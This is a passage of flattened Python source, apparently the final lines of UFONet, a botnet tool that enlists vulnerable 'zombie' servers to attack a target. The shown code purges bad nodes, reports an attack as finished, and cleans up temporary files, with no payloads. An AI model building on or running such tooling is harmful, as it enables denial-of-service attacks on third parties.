  4814. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  4815. if self.num_discard_aliens > 0:
  4816. for a in self.discard_aliens:
  4817. discarded.append(a)
  4818. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  4819. if self.num_discard_droids > 0:
  4820. for d in self.discard_droids:
  4821. discarded.append(d)
  4822. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  4823. if self.num_discard_rpcs > 0:
  4824. for r in self.discard_rpcs:
  4825. discarded.append(r)
  4826. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  4827. if self.num_discard_ucavs > 0:
  4828. for u in self.discard_ucavs:
  4829. discarded.append(u)
  4830. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  4831. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4832. if disc_zombies > 0 and disc_zombies < 2:
  4833. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  4834. elif disc_zombies > 1:
  4835. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  4836. if not self.options.target_list:
  4837. print('-'*21+ "\n")
  4838. print("[AI] "+self.exit_msg+"\n")
  4839. if not self.options.web:
  4840. return
  4841. else:
  4842. if self.num_target_list > 0: # still more targets
  4843. print('-'*21+ "\n")
  4844. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  4845. return
  4846. else: # finish attack from multiple targets
  4847. print('-'*21+ "\n")
  4848. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  4849. print("\n"+ '='*21+ "\n")
  4850. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  4851. print("\n"+ '-'*21+ "\n")
  4852. print("[AI] "+self.exit_msg+"\n")
  4853. if not self.options.web:
  4854. return
  4855. else:
  4856. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  4857. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  4858. if os.path.exists('mothership') == True:
  4859. os.remove('mothership') # remove mothership stream
  4860. if os.path.exists('alien') == True:
  4861. os.remove('alien') # remove random alien worker
  4862. if not options.web:
  4863. sys.exit(2) # exit
  4864. else:
  4865. return
  4866. else:
  4867. print("\n" + '='*21)
  4868. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  4869. if AI_reply == "y" or AI_reply == "Y":
  4870. self.AI() # AI fortune cookie
  4871. print('-'*21+ "\n")
  4872. print("\n[AI] "+self.exit_msg+"\n")
  4873. if os.path.exists('mothership') == True:
  4874. os.remove('mothership') # remove mothership stream
  4875. if os.path.exists('alien') == True:
  4876. os.remove('alien') # remove random alien worker
  4877. if not options.web:
  4878. sys.exit(2) # exit
  4879. else:
  4880. return
  4881. else:
  4882. if not options.attackme:
  4883. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  4884. else:
  4885. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  4886. print("\n" + '-'*21)
  4887. print("\n[AI] "+self.exit_msg+"\n")
  4888. if os.path.exists('mothership') == True:
  4889. os.remove('mothership') # remove mothership stream
  4890. if os.path.exists('alien') == True:
  4891. os.remove('alien') # remove random alien worker
  4892. return
  4893. if __name__ == "__main__":
  4894. app = UFONet()
  4895. options = app.create_options()
  4896. if options:
  4897. app.run()